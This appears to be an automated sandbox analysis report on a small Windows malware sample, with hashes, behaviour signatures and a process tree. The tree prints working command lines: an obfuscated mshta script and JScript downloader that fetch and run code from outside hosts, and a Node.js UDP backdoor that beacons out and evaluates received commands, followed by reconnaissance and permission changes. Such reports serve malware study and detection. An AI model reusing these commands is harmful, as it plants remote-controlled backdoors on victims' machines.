Analysis
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max time kernel
150s -
max time network
164s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
20-07-2021 11:53
Static task
static1
Behavioral task
behavioral1
Sample
79fa77b796300ef5bafb6bcee46fc30f.exe
Resource
win7v20210410
General
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Target
79fa77b796300ef5bafb6bcee46fc30f.exe
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Size
3KB
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MD5
79fa77b796300ef5bafb6bcee46fc30f
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SHA1
e6ba2132d8058c0532492da00aaec117fff56df4
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SHA256
4c99457625e752a03693aab64e2b5129eff89872c649194e81bd87809ed1ae13
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SHA512
0ae044695cffc50eb1c112ee85e37d0e0c9779c4f6bbbbabb6cd85771ac408414dfd3f804f8175fb56a6d995b259f830cbd6f2380cecb08975955e63f0204faf
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 8 736 mshta.exe 13 1236 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 2764 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
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Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
netstat.exeipconfig.exepid process 1812 netstat.exe 2104 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\33bb509caec32d01:ads node.exe File created C:\ProgramData\DNTException\node.exe:69cd4d4c9c8bad3d6135ad944c79dc85 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 13 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 2764 node.exe 2764 node.exe 2764 node.exe 2764 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 3960 tasklist.exe Token: SeIncreaseQuotaPrivilege 1476 wmic.exe Token: SeSecurityPrivilege 1476 wmic.exe Token: SeTakeOwnershipPrivilege 1476 wmic.exe Token: SeLoadDriverPrivilege 1476 wmic.exe Token: SeSystemProfilePrivilege 1476 wmic.exe Token: SeSystemtimePrivilege 1476 wmic.exe Token: SeProfSingleProcessPrivilege 1476 wmic.exe Token: SeIncBasePriorityPrivilege 1476 wmic.exe Token: SeCreatePagefilePrivilege 1476 wmic.exe Token: SeBackupPrivilege 1476 wmic.exe Token: SeRestorePrivilege 1476 wmic.exe Token: SeShutdownPrivilege 1476 wmic.exe Token: SeDebugPrivilege 1476 wmic.exe Token: SeSystemEnvironmentPrivilege 1476 wmic.exe Token: SeRemoteShutdownPrivilege 1476 wmic.exe Token: SeUndockPrivilege 1476 wmic.exe Token: SeManageVolumePrivilege 1476 wmic.exe Token: 33 1476 wmic.exe Token: 34 1476 wmic.exe Token: 35 1476 wmic.exe Token: 36 1476 wmic.exe Token: SeIncreaseQuotaPrivilege 1476 wmic.exe Token: SeSecurityPrivilege 1476 wmic.exe Token: SeTakeOwnershipPrivilege 1476 wmic.exe Token: SeLoadDriverPrivilege 1476 wmic.exe Token: SeSystemProfilePrivilege 1476 wmic.exe Token: SeSystemtimePrivilege 1476 wmic.exe Token: SeProfSingleProcessPrivilege 1476 wmic.exe Token: SeIncBasePriorityPrivilege 1476 wmic.exe Token: SeCreatePagefilePrivilege 1476 wmic.exe Token: SeBackupPrivilege 1476 wmic.exe Token: SeRestorePrivilege 1476 wmic.exe Token: SeShutdownPrivilege 1476 wmic.exe Token: SeDebugPrivilege 1476 wmic.exe Token: SeSystemEnvironmentPrivilege 1476 wmic.exe Token: SeRemoteShutdownPrivilege 1476 wmic.exe Token: SeUndockPrivilege 1476 wmic.exe Token: SeManageVolumePrivilege 1476 wmic.exe Token: 33 1476 wmic.exe Token: 34 1476 wmic.exe Token: 35 1476 wmic.exe Token: 36 1476 wmic.exe Token: SeDebugPrivilege 1812 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
79fa77b796300ef5bafb6bcee46fc30f.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 3896 wrote to memory of 736 3896 79fa77b796300ef5bafb6bcee46fc30f.exe mshta.exe PID 3896 wrote to memory of 736 3896 79fa77b796300ef5bafb6bcee46fc30f.exe mshta.exe PID 3896 wrote to memory of 736 3896 79fa77b796300ef5bafb6bcee46fc30f.exe mshta.exe PID 736 wrote to memory of 3436 736 mshta.exe cmd.exe PID 736 wrote to memory of 3436 736 mshta.exe cmd.exe PID 736 wrote to memory of 3436 736 mshta.exe cmd.exe PID 3436 wrote to memory of 1236 3436 cmd.exe cscript.exe PID 3436 wrote to memory of 1236 3436 cmd.exe cscript.exe PID 3436 wrote to memory of 1236 3436 cmd.exe cscript.exe PID 3436 wrote to memory of 2212 3436 cmd.exe expand.exe PID 3436 wrote to memory of 2212 3436 cmd.exe expand.exe PID 3436 wrote to memory of 2212 3436 cmd.exe expand.exe PID 3436 wrote to memory of 3508 3436 cmd.exe cscript.exe PID 3436 wrote to memory of 3508 3436 cmd.exe cscript.exe PID 3436 wrote to memory of 3508 3436 cmd.exe cscript.exe PID 3508 wrote to memory of 2764 3508 cscript.exe node.exe PID 3508 wrote to memory of 2764 3508 cscript.exe node.exe PID 3508 wrote to memory of 2764 3508 cscript.exe node.exe PID 2764 wrote to memory of 3768 2764 node.exe cmd.exe PID 2764 wrote to memory of 3768 2764 node.exe cmd.exe PID 2764 wrote to memory of 3768 2764 node.exe cmd.exe PID 2764 wrote to memory of 1104 2764 node.exe cacls.exe PID 2764 wrote to memory of 1104 2764 node.exe cacls.exe PID 2764 wrote to memory of 1104 2764 node.exe cacls.exe PID 2764 wrote to memory of 3800 2764 node.exe icacls.exe PID 2764 wrote to memory of 3800 2764 node.exe icacls.exe PID 2764 wrote to memory of 3800 2764 node.exe icacls.exe PID 2764 wrote to memory of 3972 2764 node.exe attrib.exe PID 2764 wrote to memory of 3972 2764 node.exe attrib.exe PID 2764 wrote to memory of 3972 2764 node.exe attrib.exe PID 2764 wrote to memory of 2136 2764 node.exe attrib.exe PID 2764 wrote to memory of 2136 2764 node.exe attrib.exe PID 2764 wrote to memory of 2136 2764 node.exe attrib.exe PID 2764 wrote to memory of 3960 2764 node.exe tasklist.exe PID 2764 wrote to memory of 3960 2764 node.exe tasklist.exe PID 2764 wrote to memory of 3960 2764 node.exe tasklist.exe PID 2764 wrote to memory of 1476 2764 node.exe wmic.exe PID 2764 wrote to memory of 1476 2764 node.exe wmic.exe PID 2764 wrote to memory of 1476 2764 node.exe wmic.exe PID 2764 wrote to memory of 2104 2764 node.exe ipconfig.exe PID 2764 wrote to memory of 2104 2764 node.exe ipconfig.exe PID 2764 wrote to memory of 2104 2764 node.exe ipconfig.exe PID 2764 wrote to memory of 3024 2764 node.exe route.exe PID 2764 wrote to memory of 3024 2764 node.exe route.exe PID 2764 wrote to memory of 3024 2764 node.exe route.exe PID 2764 wrote to memory of 1812 2764 node.exe netstat.exe PID 2764 wrote to memory of 1812 2764 node.exe netstat.exe PID 2764 wrote to memory of 1812 2764 node.exe netstat.exe PID 2764 wrote to memory of 2124 2764 node.exe systeminfo.exe PID 2764 wrote to memory of 2124 2764 node.exe systeminfo.exe PID 2764 wrote to memory of 2124 2764 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 3972 attrib.exe 2136 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\79fa77b796300ef5bafb6bcee46fc30f.exe"C:\Users\Admin\AppData\Local\Temp\79fa77b796300ef5bafb6bcee46fc30f.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();35;y=unescape('%321%32%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E2%322').split('~');73;try{x='WinHttp';187;x=new ActiveXObject(x+'.'+x+'Request.5.1');250;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);84;x.send();170;y='ipt.S';202;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);34;}catch(e){};67;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782010487.txt & cscript /nologo /e:jscript get1626782010487.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F294b77f96%26b%3Ddf0d703f" node.cab & expand node.cab node.exe & del get1626782010487.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782010487.txt & cscript /nologo /e:jscript get1626782010487.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2794b77f96%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782010487.txt3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782010487.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F294b77f96%26b%3Ddf0d703f" node.cab4⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626782010487.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2794b77f96%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%2794b77f96%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\DNTException\get1626782010487.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
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C:\ProgramData\DNTException\get1626782010487.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
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C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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memory/736-114-0x0000000000000000-mapping.dmp
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memory/1104-132-0x0000000000000000-mapping.dmp
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memory/1236-116-0x0000000000000000-mapping.dmp
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memory/1476-137-0x0000000000000000-mapping.dmp
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memory/1812-140-0x0000000000000000-mapping.dmp
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memory/2104-138-0x0000000000000000-mapping.dmp
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memory/2124-141-0x0000000000000000-mapping.dmp
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memory/2136-135-0x0000000000000000-mapping.dmp
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memory/2212-118-0x0000000000000000-mapping.dmp
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memory/2764-128-0x000000003C900000-0x000000003C901000-memory.dmpFilesize
4KB
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memory/2764-130-0x000000000E400000-0x000000000E401000-memory.dmpFilesize
4KB
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memory/2764-129-0x0000000007000000-0x0000000007001000-memory.dmpFilesize
4KB
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memory/2764-127-0x0000000017F00000-0x0000000017F01000-memory.dmpFilesize
4KB
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memory/2764-126-0x000000003DF00000-0x000000003DF01000-memory.dmpFilesize
4KB
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memory/2764-125-0x000000000D500000-0x000000000D501000-memory.dmpFilesize
4KB
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memory/2764-123-0x0000000000000000-mapping.dmp
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memory/3024-139-0x0000000000000000-mapping.dmp
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memory/3436-115-0x0000000000000000-mapping.dmp
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memory/3508-120-0x0000000000000000-mapping.dmp
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memory/3768-131-0x0000000000000000-mapping.dmp
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memory/3800-133-0x0000000000000000-mapping.dmp
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memory/3960-136-0x0000000000000000-mapping.dmp
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memory/3972-134-0x0000000000000000-mapping.dmp